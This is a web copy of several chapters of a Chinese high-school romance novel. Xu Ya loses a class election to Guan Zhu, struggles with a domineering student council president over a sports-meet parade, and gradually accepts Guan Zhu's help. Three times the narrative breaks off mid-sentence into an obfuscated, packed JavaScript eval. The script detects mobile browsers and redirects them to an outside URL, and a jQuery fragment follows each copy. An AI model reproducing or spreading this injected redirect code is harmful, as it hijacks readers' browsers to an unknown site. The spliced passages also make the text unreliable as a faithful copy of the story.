不服气,非常不服气。 虽然不服气,徐娅心中却有不好的预感。 其实这一周以来,徐娅考虑到不知道还得在塘西高中待多久,所以还是分了点精力经营了一下班级人际关系的。 她依靠优秀的成绩,会主动给同学们讲讲题,还时不时分昂贵的零食给同学们,所以也有一些同学如今对她观感还不错。 只是和关铸比起来…… 毕竟她是自荐,输给一个压根没想当班长的,总觉得挺丢脸。 徐娅坐姿笔挺,表情严肃地盯着讲台上班主任的唱票。 关铸手机玩得有点累了,抬起头打个哈欠,左右扭扭脖子,正好瞥见徐娅正襟危坐的样子。 这么热衷又认真参与班委过家家的,这年头可是稀罕物品。 关铸饶有兴趣地打量着徐娅。 大城市来的千金小姐是这个风格的? 徐娅直觉有人在看她,转头,发现关铸投来的兴味视线,于是无声地哼了一声,翘着下巴,面无表情地把脑袋转回去。 关铸这张脸,真是怎么看怎么阴阳怪气。 关铸也无所谓徐娅恶劣的态度,视线回正,看向讲台上班主任的唱票—— 每唱票一次,他就会在对应的名字下画一笔正字。 不知从什么时候开始,关铸名字下的正字已经远远甩开徐娅。 关铸忍不住挑了下眉,徐娅这么骄傲的个性,输这么惨不会哭鼻子吧? 关铸发现自己有点期待看到这样的场面,哭的时候她的下巴还会扬得这么高吗? 事实上,当最后票数结果出来,关铸的票数五倍杀徐娅时,徐娅看着结果的表情非常镇定。 这种镇定让班主任都有点惊讶,带过这么多届学生,主持过这么多的班委竞选,很少有人在落败时会看上去这么平静的 无论是不是自己想要竞选,发现自己没另一个人获民心时,这个年纪的孩子都很难不露出一丝失落。 班主任顿时对徐娅更欣赏了,无论是真的心态好,还是控制住了表情,都显示了这姑娘很有大将之风。 关铸也若有所思地瞥了徐娅一眼。 徐娅这傲慢又争强好胜的个性,肯定不是心态良好接受失败的类型。 这会儿估计心里头正疯狂辱骂他呢。 但至少这份面上的表情控制能力,不得不说挺厉害。 即使是落败的场合也要保持骄傲,这种场面功夫是从小练出来的? 关铸产生了一丝好奇。 当天下午,上完第一节课后,关铸和往常一样,拎着书包打算逃课。 他这周已经不用去给关叔的越剧团带小孩,但他是历来逃课成习惯的。 一天八节课,他能参与五节就已经是极限了。 更何况明天是他哥关蔚的生日,他打算带几个朋友一起去城里的商场看看买什么礼物。 然而脚还没踏出教室的后门,徐娅笑呵呵的声音从走廊不远处传来。 关蔚的眉毛不自觉动了下,下意识转头看向徐娅—— 徐娅带着两个老师,一个是班主任,一个是教导主任,正好“路过”高二3班的后门。 徐娅看着关铸,关铸看着徐娅。 气氛凝滞了。 好一会儿,关铸眯了眯眼。 徐娅吃惊地喊了一声:“班长,你怎么这个点拿着书包走出教室,该不会是要逃课吧?” 听着这个做作的声音,关铸额侧的青筋跳了一下。 关铸猜的没错,班委选举票数落定时,徐娅表面上淡定,实际在心里把他辱骂了个狗血淋头。 徐娅都这么不爽了,自然也要找茬让关铸不爽一下。 坏事要共享嘛,哪能只一个人舒坦。 徐娅知道关铸已经不用去越剧团帮忙,每天下午只上一节课就消失,估计也只是逃课跟狐朋狗友去鬼混罢了。 这种恶劣的人才不配赢了她做班长呢! 徐娅坚决不承认自己是在泄愤,她这是匡扶正义! “班长,你怎么能逃课呢!你可是班长,要给全班同学起带头作用的呀!” 徐娅脸上是做作的惊讶,眼睛里却掩饰不住地幸灾乐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13655318|144002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祸。 关铸转头看看班主任和教导主任。 很好,知道班主任老郑个性软,很多时候对学生违反校规的行为都睁一只眼闭一只眼,所以连教导主任都一起带过来了。 班主任见教导主任的表情越来越难看,有点头皮冒汗。 因为班委选举后还有几个岗位空缺,于是老郑就点了徐娅顶上空着的团支书的位置。 虽然只是二把手,但也比没有好,徐娅欣然应允了。 正好马上要团委宣传季活动了,徐娅热情满满地来找他和教导主任,说已经有活动场地布置的大致构想了,要带他俩对着学校的每一幢楼,因地制宜地具体说一说。 没想到,找他们说活动场地布置是假,整关铸是真。 这小姑娘好手段啊……班主任心想,要是这小姑娘,也许还真有可能管得住关铸呢。 其实关铸成绩还可以,但心思不在学校里。 他看不出关铸心里想着什么,只知道他身世不详,从小受了不少冷眼。只是无论过去遭遇过什么,人还是得往前看才好。 他还是挺希望关铸这孩子能向好,能走在正道上。 班主任老郑在教导主任严肃的注视下,训斥道:“关铸,怎么回事?还没放学呢,你想到哪去!” 接下来,关铸遭到班主任和教导主任的轮番训导。 且教导主任盯上他了,估计短时间之内他都没什么机会违反校规了。 徐娅见关铸面无表情地挨训,心里乐得不行。 让你拽! 徐娅的好心情没保持几天,很快就焦头烂额起来。 焦头烂额的原因么,归根结底还是因为关铸。 徐娅作为团支书,在第一学期的主要工作是策划团委宣传季的活动。 这种比较红的活动一般比较难做得出彩,很多流程都固定了,很多事按部就班弄就好。换句话说,徐娅比较难靠这种活动获得太多关注和掌声。 而周五中午开每周的班委会议时,关铸说了个事儿。 “马上就要举行秋季运动会了,每个班都要出一个开幕式方阵节目,我们班谁有想法吗?” 因为之前被班主任和教导主任谈话加重点关注,这几天关铸不得不当一下守规矩的好学生。 连上个学年被他遗忘掉的每周班委会,也在班主任的催促下,开始按时举行了。 只不过关铸怎么看怎么没有班长的样子。 在徐娅印象里,每个班的班长要么就是学习成绩特别好的,要么就是情商很高很能来事儿的,总归没有关铸这种主持开个会还整个人懒洋洋的。 关铸说完运动会方阵的事后,见班委们互相看看都没什么反应,突然说道:“说起来去年的市优秀学生干部,就是在运动会的方阵策划里做得出彩、在网络平台上获得很高热度,然后就在荣誉评比中获得了很大优势。” 徐娅心头一动,询问:“运动会方阵还能在网络上引起很大热度?” “真的啊,不信你打开软件看看,挺多人刷运动会方阵,感慨现在的学生有想法呢。” 徐娅想了想,出言试探:“我有点运动会方阵的模糊想法了,不过还不好表达,得再细化一下,要是这活动能让我来主导,那我就这周末好好想想,拿个策划案出来。” 关铸看着她,看不出赞同还是不赞同,只跟她确认:“你要接这个活儿?” 徐娅皱眉:“是啊。还是你不想让渡这个事的主导权?” “行。”关铸笑着站起来,宣布,“那大家伙们要是没什么意见,咱班运动会的开场方阵就交给徐支书全权负责了哈。” 5. 谄媚感×我帮你 第二天,徐娅反应过来,班委会时关铸就是在故意钓她呢。 本来运动会的入场方阵应该是每个班的班长负责策划和组织的,显然关铸不想弄,于是故意放饵钓她去弄。 而她就这么轻易地主动把活儿给接过去了…… 啊啊啊! 意识到自己被关铸利用了,徐娅感到不爽。 但冷静下来想想,她确实想要一个能体现自己能力、能做出彩的活动…… 徐娅不爽了几天,最终也没反悔说要把活儿再甩回去。 于是徐娅除了每天好好上学、好好做作业,还要同时搞团委宣传季活动和秋季运动会开幕式班级入场方阵。 忙得跟陀螺似的。 与之对比,关铸大班长过得十分悠哉。 虽然他最近被班主任和教导主任盯得有点紧,没法迟到早退跑学校外浪了,但还是能和他的党羽们在学校里打打球、遛遛弯。 原本徐娅对自己忙成陀螺的日常并没有什么不满。 她本来就喜欢充实、有事做的生活,仿佛每一秒都没被浪费,这让她感到心安。 世交家同她一起长大的朋友曾评价她是可怕的卷王,徐娅却觉得她卷王这个属性,是妈妈过世、继母胡艳蓉过门以后才真正被点亮的。 而现在,在知道那个颠覆她世界观的事情的现在,这个属性似乎被开发到了极致。 忙碌会带给徐娅一种扭曲的满足。 只是这种令徐娅感到满足的忙碌,总在看到关铸悠闲滋润的生活时,开始滋生不爽。 尤其是徐娅发现秋季运动会开幕式入场方阵的策划,有点难搞。 难搞倒不是徐娅缺乏想法,或缺乏组织能力,主要在于“领导”很难沟通。 塘西高中有个学生会,本来高中时期的学生会就是个闲散组织,不怎么有存在感,但要命的是,这届的学生会主席——一位胡姓高三学姐,打算申请美国的大学。 美国大部分大学在申请时,除了看成绩,还十分看重社会活动,如果组织过看起来很具校方价值观下价值的活动,就会在申请学校时有很大优势。 这位学姐和校领导沟通,希望把这次运动会交给学生会来主导。 校方自然知道这位学姐的心思,但他们也期待这位学姐能申请到一个好的学校、给塘西高中长长脸,所以欣然应允,还表示会全权配合。 于是在校运会刚开始筹备时,学生会就开始三天两头叫每个班级负责入场式的班委开会。 第一次开会,主席胡学姐提出了开幕式的主题“自由、民主、包容、多样”。 还找来了一些给大家参考的其他运动会开幕式——基本是国外学校的。 徐娅瞅了一眼,觉得有点群魔乱舞。 自由、民主、包容、多样,四个词儿都是好词儿,但为什么被选来当这次运动会的主题,总有种谄媚感呢。 虽然第一次会议让徐娅有很强的吐槽欲,但这个时候的她还没有意识到问题的严重性。 直到她上交了一份花了一周写出来的策划案,却被迅速打回、全盘否定。 否定词只有一句话:“不符合运动会主题”。还让她参考上次会议分享的案例进行重写。 同时对方还“体贴”地邮件附件了一个希望徐娅模仿的开幕式入场方阵的视频。 徐娅意识到了问题的棘手性。 胡学姐要她模仿的方阵表现形式,有点太西式政治正确了,跟要搞个本土化的小型巴黎奥运会开幕式似的。 这不是重点,重点是这么搞,徐娅组织的开幕方阵肯定无法在社交媒体上引起正向的关注和点赞,保不准还会被吐槽呢…… 那她花这个时间弄这个开幕方阵干什么,投入产出比为零啊! 其实徐娅并不介意有人把这场运动会当做写在申请书上的政绩,但前提是不要影响到她的发挥。 徐娅尝试去和胡学姐沟通,对方油盐不进。 大约是看出了徐娅身上和她有某种相似性,胡学姐说道:“大家都想做出点成绩,但每个人都有想法就意味着矛盾,学妹是刚转学过来的,其实比起出风头,踏踏实实做事才最好。” 徐娅气得嘴角抽了抽,但还是没当面发作。 然而一出学生会的办公室,她就有点忍不住了,转身狠踹了脚办公室门口的花坛。 徐娅正深呼吸意图平复情绪,有人突然说道:“学姐?” 徐娅转头,原来是罗雾。 罗雾看徐娅满脸怒气,愣了愣,关怀道:“怎么了?” 徐娅满腹怨言,于是拉着罗雾坐操场边上吐槽。 罗雾听得头都晕了,但总结出症结了,徐娅遇上个权力plus版的自己,俩人都想用运动会摘果子,但plus的做法影响到徐娅的计划了,且还分毫不退让。 罗雾是个社恐死宅,这么现充感的话题他给不出任何有价值的建议,只好充当个听众,在徐娅说得口干舌燥给她递瓶水。 发泄了一通,徐娅算是平静下来点了。 罗雾递给她个棒棒糖:“学姐,吃点甜的,甜的抚慰心情。” 徐娅瞥一眼那根棒棒糖,跟罗雾熟起来以后,她发现这人身上总带着很多糖果,跟个小孩似的。 徐娅嫌弃:“不吃,小孩才吃糖。” 罗雾笑呵呵:“大人有时候也跟小孩一样需要糖抚慰啊,吃吧吃吧。”说着,把棒棒糖往徐娅眼前凑一凑,“草莓味的,可好吃了。” 徐娅盯着草莓味棒棒糖好一会儿,瞥一眼罗雾笑呵呵的脸,哼了声:“算了,勉强吃你这个安利。” 罗雾自己也拿出个橙子味的棒棒糖,两人一块坐操场边的草坪上吃糖。 徐娅觉得罗雾在零食糖果上还是有点品鉴能力的,这棒棒糖味道确实不错。 很清新的草莓味,甜而不腻,味道在舌头上漾开的时候,心情似乎确实被甜味拯救了一点。 心情一好,徐娅又开始盘算运动会的事了:“我得在这三天再搞一份策划出来,可团委宣传季的活动策划也得交了,还得上课写作业……算了,接下来一周不睡觉了……” 罗雾听徐娅嘀咕要做的事,脑瓜子都开始痛了:“学姐,你好拼啊。” 徐娅盘算着要干的事,随口答道:“爱拼才会赢。” 罗雾咬着棒棒糖,耷拉着肩膀,一双眼角下垂的眼睛躲在厚厚的刘海后,遥遥望着蓝蓝的天空:“为什么一定要赢呢?” 徐娅没管罗雾的疑惑,站起来拍了拍他脑袋:“谢谢你的糖,我要去工作了,午休还有一会儿,我应该还能给新策划开个头。” 罗雾看徐娅风风火火走了,于是也起身回教室了。 到放学,罗雾整理书包刚走出教学楼,就碰到了关铸。 关铸正和两个朋友一边聊天一边往校门走。关铸的朋友风格和他有点像,不管穿着打扮如何,总带了点懒洋洋的气质,和一种轻而易举吸睛的魔力。 罗雾觉得这种人叫天生人群焦点,放以前他对这种焦点人物下意识恐惧,一接近就跟过敏一样浑身难受。现在其实也这样,不过关铸成了个例外。 毕竟关铸从天而降救他时太过帅气,以至于他对关铸都有点粉丝心态了。 罗雾举起手,腼腆打招呼:“关哥。” 关铸也看到他,跟他打个招呼。 罗雾跟着关铸他们一起走出校门。 关铸那俩朋友聊天聊到运动会,吐槽他们班的班长要求他们班在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13655319|144002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 运动会入场时三分之一的人抹粉扮演白皮,三分之一的人抹粉扮演黑皮,再和剩下三分之一不抹粉的黄皮手牵手一起跳舞。他们觉得他们班的班长脑子瓦特了,策划跟屎一样。 “这都什么玩意儿,还不如去年在入场式上cosplay呢。” “对了关哥,你不是又成3班班长了么?你不用搞入场式的事?” 关铸闲闲道:“我们班的支书主动把活儿揽走了。” “支书?你们班那个转学的美女?” 罗雾终于反应过来,原来说的是徐娅呢。 一行人出了校门就分开了,关铸和罗雾有一段顺路的,就继续一起走。 罗雾就说起中午时遇到徐娅:“徐学姐好像因为运动会的事气得不行。” 关铸心说这位大小姐一天到晚都跟别人欠她钱一样憋着股气,没什么好奇怪的。 罗雾继续说道:“好像是这次开幕式被校方交给学生会主导了,徐学姐花了很长时间做的策划他们看都没看就打回了,还要她按着主题重新弄,学姐同时还要搞一个什么宣传季活动,她说接下来几天可能都不打算睡觉了。” 关铸一顿,问道:“运动会让学生会主导?” 他们学校还有学生会这种东西? 罗雾点头:“学生会的那个主席提了很多不合理的要求好像。”他回想了下中午徐娅吐槽的内容,给关铸重复了一下,最后说道,“我看学姐忙得眼睛下面黑眼圈都重了很多。” 正好两人走到公交站,罗雾去坐公交,关铸把他送上车,在公交站又站了一会儿。 最后他转身折返回了学校。 放学后徐娅没回家,留在班里忙着写策划。越忙越乱,本来按部就班写就行的团委宣传季活动,因为写太赶好多地方都写错了,等意识到只能返工。 真是焦头烂额。 不知什么时候班里已经没人了,窗外的天色也基本快黑了。 徐娅正捏着笔和面前的方格纸作斗争,突然听到开关门的声音。 她下意识转头,就见一个人从教室后门进来。 高高瘦瘦的,双手插着兜,有点吊儿郎当的。 徐娅眯眼,关铸? 他怎么这个点还在学校? 关铸看见徐娅,露出个惊讶的表情:“徐大小姐还没回家呢?” 徐娅抽了抽嘴角,先前被关铸钓得接下运动会开幕式的仇浮上心头,没好气讽刺道:“哪有关班长有福气,活儿全让别人干了。” 一般来说,徐娅说完这句后,关铸要么冷笑一下懒得回应,要么也怼她一句。 不过今天还挺怪,关铸既没冷笑也没怼她,反而走到她座位边,好奇似的问:“做什么呢?” 徐娅不想搭理他,把桌上的方格纸往座位里侧推了推,侧过身挡住,顾自己继续写方案。 椅子从桌子下抽开的声音响起。 徐娅拧着眉转头,发现关铸居然在她边上坐下了。 “听人说这次运动会被校方交给什么学生会搞,他们弄出个奇葩命题要你们弄?” 徐娅狐疑:“你把这活儿甩给我的时候不知道这事?” 关铸一顿:“还真不太清楚。” 徐娅冷笑,撇回头继续忙自己的,不想搭理他。 关铸一手支着侧脸,打量了会儿徐娅,这位大小姐真是干劲满满啊,这摞方格纸是开学时每个学生都会发到的吧,一般人一学期也用不完一摞,她这摞才开学没几周就看着要见底了。 “喂,要不要帮忙啊?” 徐娅怀疑自己耳朵出现幻觉了,眉头皱成一团,看外星人一样转头看关铸。 关铸继续说道:“你要是请我帮你,我也不是不能帮你分担点。” 6. 加班中×盯着看 徐娅对关铸的这句“你要是请我帮你,我也不是不能帮你分担点”,有非常多的槽点想吐。 首先,这个活是谁故意钓她接手的啊?现在施施然跑来当好人,他配吗? 其次,要她“请”他帮忙?开玩笑,“请”这么尊贵的动作,他配吗? 最后,什么叫“也不是不能”?架子还摆的挺高啊,就他那整日吊儿郎当的德行,能有什么帮得上忙的地方啊? 关铸瞅了会儿徐娅脸上变幻莫测的表情。 虽然不知道她心里具体想了什么,但从那双明明海拔位置比他低却因为脑袋扬着所以可以做出垂眸姿态从而显出点俯视感的眼睛里,他很精准地读取到了她的中心思想。 啧,是他多管闲事了。 关铸站起来:“既然徐大小姐不屑得别人帮,那我就不打扰咯。” 然后还真就转身走了。 徐娅一口气噎在喉口,她明明是不屑得他来帮她的,但看他这么干脆利落走了,又生出几分恼怒的情绪来。 徐娅“哼”了声,嘀咕:“我一个人更轻松。”然后继续低头伏案工作。 关铸则回了家。 关铸的哥哥关蔚已经做好简单的晚饭。 晚饭就兄弟两吃,关叔最近在排一出新的越剧,是经典的梁山伯与祝英台,加班严重,不到半夜不回来。 吃完饭,关铸准备去洗碗,却发现洗洁精用光了,于是下楼去买。 还没走出小区,就遇见个眼熟的约莫五六十岁的女人。 关铸想起来这是徐娅家的阿姨,好像姓张,先前他遇见过徐娅和这位张阿姨一起出门,后来关叔也和张阿姨认识了,俩人还会讨论菜场的菜便宜还是超市的便宜。 关铸见她脚步匆匆往外走,差点被地上石头绊了脚,赶紧扶了她一把。 张阿姨也认出关铸:“你是小越家的二侄子吧?” 张阿姨指的是关叔,关叔全名关越。 “对。”关铸问,“姨您这是要去哪?怎么这么急?” 张阿姨说道:“我去找我们家小姐,都这个点了,她还没回来呢,打她电话她还说得要一会儿才能干完活,她一个学生,哪来这么多活要干……” 关铸愣了下,徐娅还没回家?这会儿都已经九点了。 张阿姨还在絮叨:“这么晚了她一个女孩子很不安全的……” 关铸握住张阿姨手臂:“姨,你回去等着吧,我去看看。” 夜已经很深,教学楼的窗户基本都是暗的,除了老师办公室和走廊外,唯一还亮着灯的只有高二3班的教室了。 徐娅没意识到时间已经这么晚了,张妈打电话给她她也只是敷衍一下,一门心思扑在工作上。 因为太投入,关铸再次回来时,她都没发现。 直到同桌的椅子被拉开,发出刺耳的响声,她才转头。 关铸已经坐下来,冲她伸出手:“笔,纸。” 徐娅狐疑地皱起眉:“笔?纸?” 关铸:“你不是重心都在校运会开幕式上么?团委宣传季活动的策划我帮你弄。” 徐娅张了张嘴,下意识想拒绝,但临出口又闭上了。她把一摞写了一半的纸和一只水笔递给关铸,嘱咐:“宣传季活动的草案我已经拟好了,你就照着弄,别瞎搞啊。” 关铸瞥她一眼,有点无语,嘲道:“是,争取不拖您后腿,行了吗?” 徐娅撇撇嘴:“草案我也花了不少时间的,我说真的,别写呲了啊。” 关铸懒得理她,拿着笔开始写。 徐娅也继续搞自己手里那份运动会入场式的策划。 写了一会儿,徐娅抬起头活动下肩膀,一瞥眼看到同桌的关铸,怔了怔。 大概是没见过关铸认真做事的样子,徐娅觉得这会儿的他有点陌生。 教室的白炽灯灯光偏冷调,打在他本就白皙的肤色上,显出种冷而润的质感,他低着头写字,额发有点长了,软软搭在额上,在双眼上方盖下一小片阴影。 他的眼睛不算大,可神奇的是在认真做着某件事的当下,即使灯光被额发遮挡,他的眼瞳也显得很亮。 难不成是因为他平时眼皮都耷拉着的缘故,才会显得打起精神做事时眼睛很亮? 而且他一旦专注做事,脸上的表情就显得很冷,眉凝着,嘴角也无意识地向下压。 徐娅视线继续往下,落在他正在写的稿纸上,然后发现关铸的字很好看。 他的字迹算不上端正,但一笔一划很有韵味,要是非得归类,他的字应该算行草。 徐娅心想,关铸这人虽然一无是处,但脸和字这两个门面倒是都还算合格。 哎,真不容易,她居然能给他找出两个小优点来。 “你写完了?” 关铸突然停下笔,转头看徐娅。 徐娅的视线被捉个正着,瞪大眼睛,立刻转开。 “没呢。” “那你停下笔一直盯着我看?”关铸似笑非笑,“我知道我长得好看,但你也得抓紧时间,不然我就得一直陪着你加班……嘶!” 话还没说完,关铸吃痛,是小腿被徐娅狠狠踹了一脚。 “谁盯着你看了?”徐娅怒,“还自己夸自己好看,开玩笑,我想看好看的脸还不如拿出镜子看自己!” 关铸挑了下眉:“这么容易恼羞成怒啊?” 徐娅咬牙,又是踹了一脚过去。 虽然时常会发生一些战争,但关铸一连帮了徐娅好几天,等帮徐娅写完团委宣传季的活动策划,他也帮着一起弄运动会入场的事。 老郑知道他们最近在弄学校活动的事,还给申请了一间小自修室,让他们有地方讨论和干活。 罗雾知道俩人都在弄运动会的事后,也时常过来帮忙一起出出主意,通常是午休,来的时候还会给徐娅和关铸带吃的。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13655320|144002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这天中午,新的运动会入场式策划刚写完,徐娅便拿着新策划去找胡会长。 关铸则留在小自修室。忙了几天,事情阶段性告一段落,他整个人瞬间又跟气被放掉的气球一样软绵绵懒洋洋。 罗雾也在,有点忧心:“这次策划会不会又被否掉啊?” 关铸靠在椅背上,眼皮半耷拉着回答:“新策划已经按他们的要求改了,还要怎么样啊。” “可是这次的策划其实主体上还是上一版的内容,只是表现形式往他们想要的主题靠……” 要徐娅完全按着学生会的思路走,对她来说就是白白浪费时间最后收益为零,她肯定是不甘心的,于是最后只是把策划往胡学姐给的主题方向靠了靠。 关铸说道:“都已经很顺着他们了,总不至于真的让我们徐大小姐干白工吧。” 正说着,徐娅就一脸不高兴地回来了。 关铸和罗雾无言地对视了一下——看徐娅表情就大概能猜到了,徐娅真有可能得干白工了。 徐娅把策划往桌子上一扔,抱着手坐下,一句话没说。 关铸给罗雾使了个颜色,罗雾上前询问:“学姐,策划……” “又被毙了呗。”不知道是不是气到极致后认命了,徐娅的语气居然开始趋于淡然。 关铸问:“那你打算继续改还是怎么说?” “继续改也没用,除非直接推翻重来,完全按照姓胡的给的那个参考视频来,否则她不会给过的。”说着说着,徐娅突然皱眉,自言自语了一句,“难不成我和姓胡的人天然犯冲?” 要是不能按徐娅想的来,她做这个活动就没收益,没收益就没意义。 关铸觉得按这大小姐的脾气,下一步就该把这个烫手山芋扔还给他了。 然而并没有。 徐娅操着手思考:“我得想想办法,不能让姓胡的瞎搞。” 关铸奇怪:“你打算继续弄这个策划?” “那不然呢?难道我们班直接不参加入场式了?” 关铸没说话。 徐娅顿了一会儿,突然反应过来关铸的言下之意。她眯起眼看关铸:“你还以为谁都跟你似的,哼,不负责任!我既然开始做了那就要做到底的。” “行,您负责,您有毅力。” 其实要是徐娅脑子里对入场式的想法没成型,说不准就真的把这事儿推出去了,但她都已经有一个比较完整的策划了,不继续推进她就浑身难受。 徐娅觉得这可能是一种独属于卷人的强迫症。 午休快结束了,因为高二3班下午第一节课是自习课,徐娅打算留在小自修室继续想入场式该怎么办。 关铸和罗雾先走了。 走到楼梯,高一下楼,高二左转。 但关铸上楼了。 罗雾转头发现关铸的路径有问题,愣了一下。 他去高三的楼层干什么? 7. 排练中×换装秀 第二版入场式方案被否决的当天,徐娅放学后依旧来到小自修室,研究该怎么改方案才能既保住她的想法,又能让那位胡学姐同意。 这可真是比数学卷子的最后一道大题还难。 徐娅感觉头发都掉了好多,可惜最后还是没有想出什么思路。 归根结底,可能是因为根本不可能改出两者兼顾的方案。 徐娅开始发呆,冲着窗户外的天空看。 夕阳跟血一样红,红到凶残,徐娅阴恻恻地想,要是这个世界上所有阻碍她的人都能原地消失就好了…… 正想着,窗户突然冒出个脑袋。 徐娅回过神,发现是班主任老郑。 老郑从窗户看了看,然后开门进来:“还在弄策划?” 徐娅点头:“学生会那边比较难搞。” “学校第一次把校级活动放给学生做,大家都没有经验,难免有沟通不顺畅的地方。” 徐娅心想这哪里是沟通不顺畅,分明是那个姓胡的太过傲慢强硬。 “听说最近几周你为了团委宣传季和运动会入场式,每天都很忙。”老郑从口袋里拿出一罐王老吉,“老师对你为班级勤奋做事的行为表示赞赏,来慰问你一下。” 跟去年3班的班委们比,老郑对徐娅的勤奋可太感动了,去年那些个班委,让他们做点事比让猪上树还难。 徐娅看着那罐王老吉,忍了一下没忍住:“真要慰问,您还不如帮我去和胡学姐沟通看看呢。” 老郑干笑:“哈哈。老师插手学生的事不好吧……” 说是这么说,但不知道是不是老郑回去后良心发现了,似乎真的帮她去和胡会长沟通了。 第二天周六,上午大概十点左右,徐娅收到了来自胡会长的一封邮件。 最初徐娅觉得奇怪,不知道她找她干什么。 没想到打开是个巨大的惊喜——胡会长终于松口了! 胡会长在邮件里表示,她又仔细看了一遍策划,觉得总体上还是有可实施性的,但还需要在若干点进行调整。 然后巴拉巴拉罗列了一些修改点。 徐娅仔细看完——好嘛,都不是什么很关键的修改点,修完还能把她的方案完整实施出来! 胡学姐突然之间给了这么大的弹性余量,简直跟太阳从西边出来似的。 肯定是有人和胡学姐沟通过了,还是个在胡学姐面前有一点脸面的人。 老郑毕竟是老师,在学生面前肯定还是有些脸面的。 徐娅高兴,老郑还是蛮有用的啊。 胡会长松口之后,事情就推进地很快,方案又小修了两次后正式通过,徐娅终于可以开始把方案落地了。 徐娅的构思是蹭汉文化热点,以便更容易地吸引网络热度。她把全班四十来个人分成若干组,每人穿不同朝代不同时期的服饰,并表演该朝代一种经典运动。 这个思路总体上被保留下来了,只不过被学生会加了点有的没的的西式政治正确,显得有些不伦不类。 徐娅想好了,到时候她自己这边剪出来的视频,肯定要弱化胡会长搞的那些有的没的。 一开始班里的同学都不怎么想折腾这个入场式,想着按往年一样随意地搞一搞就好了。 但架不住徐娅撒钱啊。 徐娅现在别的没有,小金库还是很充实的。 参加排练的同学有各种新奇的小零食,徐娅还会请客去一些学生们一般很少能去的比较昂贵的餐厅。 且徐娅租借的服饰质量太好了,比电视上演员穿的那些戏服还精致。大部分女同学都被美衣俘获了芳心,参与入场式排练的兴趣很高。 男生们兴趣略低一些,但参与度也还可以。 徐娅还请了专门的老师,从京市专程过来一周,教授同学们不同朝代的礼仪和运动文化。 徐娅本来在3班同学们的猜测里就是白富美大小姐,这下算是把这个印象彻底坐实了。 甚至这名声还传到了班外。 高二3班有个富婆团支书,这次运动会撒钱搞了个超精致的班级入场式。 不论这入场式最后能不能产生比较好的效果,反正徐娅本人的名声突然就在塘西高中响了起来。 徐娅对此没怎么关注,一门心思扑在入场式上。 自从胡会长松口了徐娅的入场式策划,她就不再处于焦头烂额的状态了,这是一件好事。 但坏的是,与此同时关铸恢复成原来的样子,经常找不到人,叫他来参加排练也不来。 徐娅还指着关铸那脸那身材站在方阵最前面,好到时候让她请来的摄影师拍出优质视频,靠美色为她的入场式引流呢——好吧,她不得不承认,关铸的颜值不是她先前评价的“仅仅合格”的程度。 客观来说,关铸比她目前现实见过的任何一个男性都好看,甚至不输很多明星。 ——这份客观仅限于她需要利用关铸颜值的时候。 连着几天午休和放学,徐娅都捉不到关铸的人,她心想跑得了和尚跑不了庙,我还不能去你家拦你吗? 又一个周末,早上九点,徐娅抱着一个大袋子,穿过半个小区,直接按了关家的门铃。 好一会儿,一个睡眼惺忪、头发乱成鸡窝的关铸来开了门。 徐娅盯着他头上的鸡窝欣赏了一会儿。 关铸稍微醒了一点,皱眉:“怎么是你?” “家里有人吗?” “这跟你没关系吧?” 关铸想直接关门,奈何刚睡醒反应不够灵敏,被徐娅直接从咯吱窝钻了过去。 徐娅换了室内拖鞋,往屋子里喊了声:“关叔,张妈做了点卤肉,我给你拿过来。” 没人回答。 看来关家除了关铸没人在。 徐娅走了进去。 这跟她住的那个房子户型不一样,徐父买的是一个三室,她和张妈各住一间,还有间被徐娅拿来堆东西。 而这套房子是两室的,要小一些,看样子应该是关叔一个房间,关铸和他哥一个房间。 房子虽然不大,但收拾得还挺干净。 关铸也走进屋,声音带了股睡觉被吵醒的不耐:“徐大小姐,你到底干什么来的?” 徐娅把张妈的卤肉放在餐桌上,然后把巨大的衣服袋子打开,向关铸展示:“大班长,班级的集体活动特别需要你一起参与,看,这是为你准备的服装!” 这是一套明制男子服饰,里外两大件,还带善翼冠、革带、皂靴,重量惊人。 徐娅尤其喜欢这套衣服外层的罩甲,上面的图纹非常精致。 其实徐娅思考过让关铸穿魏晋服饰还是明制服饰,这俩朝代的男子服饰比较符合现代人的审美。 从风格上来讲,明制更规整,魏晋更风流,关铸的话气质上更符合后者。 但徐娅脑补了一下,又觉得让关铸穿明制,可能会有一种禁欲的性感,更有可能让人眼前一亮。 徐娅王婆卖瓜:“这套衣服是为你千挑万选的哦。” 然而我们关大班长一眼都欠奉,打着哈欠转身就要回房睡觉。 徐娅上前一步,拉住他衣服下摆:“你穿穿看啊。” 关铸低头看自己被扯住的衣服,冷漠:“不。” “又不会少块肉。” “淘宝找人试衣服还给钱呢。” “这有可对比性吗?”徐娅逼自己保持耐心,“你还是3班班长呢,怎么带头抛弃集体荣誉感?” 